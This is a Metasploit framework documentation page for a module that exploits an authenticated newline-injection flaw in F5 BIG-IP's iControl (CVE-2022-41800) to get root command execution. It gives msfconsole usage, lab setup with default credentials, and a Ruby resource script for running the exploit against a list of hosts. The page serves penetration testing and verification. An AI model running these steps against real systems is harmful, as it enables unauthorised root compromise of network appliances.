Source code: modules/exploits/linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800.rb
Disclosure date: 2022-11-16
Last modification time: 2022-11-23 10:42:07 +0000
Supported architecture(s): cmd
Supported platform(s): Linux, Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2022-41622, CVE-2022-41800
This module exploits a newline injection into an RPM .rpmspec file that permits authenticated users to remotely execute commands. Successful exploitation results in remote code execution as the root user.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
- artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
Basic Usage
Using f5_icontrol_rpmspec_rce_cve_2022_41800 against a single host
Normally, you can use exploit/linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800 this way:
msf > use exploit/linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800
msf exploit(f5_icontrol_rpmspec_rce_cve_2022_41800) > show targets
... a list of targets ...
msf exploit(f5_icontrol_rpmspec_rce_cve_2022_41800) > set TARGET target-id
msf exploit(f5_icontrol_rpmspec_rce_cve_2022_41800) > show options
... show and set options ...
msf exploit(f5_icontrol_rpmspec_rce_cve_2022_41800) > exploit
Using f5_icontrol_rpmspec_rce_cve_2022_41800 against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your f5_icontrol_rpmspec_rce_cve_2022_41800 will be using:
- Do:
use exploit/multi/handler - Do:
set PAYLOAD [payload] - Set other options required by the payload
- Do:
set EXITONSESSION false - Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)

Required Options
- RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
Knowledge Base
Vulnerable Application
The vulnerable application is F5 Big-IP version 17.0.0.1 and below. It can be downloaded as a VMWare image for free (you have to create an account) from https://downloads.f5.com. You can register for a free 30-day trial if you like, but it's not required to test this.
Boot the VM and set an admin password by logging in with the default credentials (admin / admin). You'll need that password.
Verification Steps
- Install the application
- Start
msfconsole - Do:
use exploit/linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800 - Do
set RHOST <target>/set HttpUsername admin/set HttpPassword <thepasswordyouchose> - Do:
run - You should get a session
Options
HttpUsername / HttpPassword
The account to authorize as - requires console access. The admin account (which
is the default HttpUsername) works great, if you have the password.
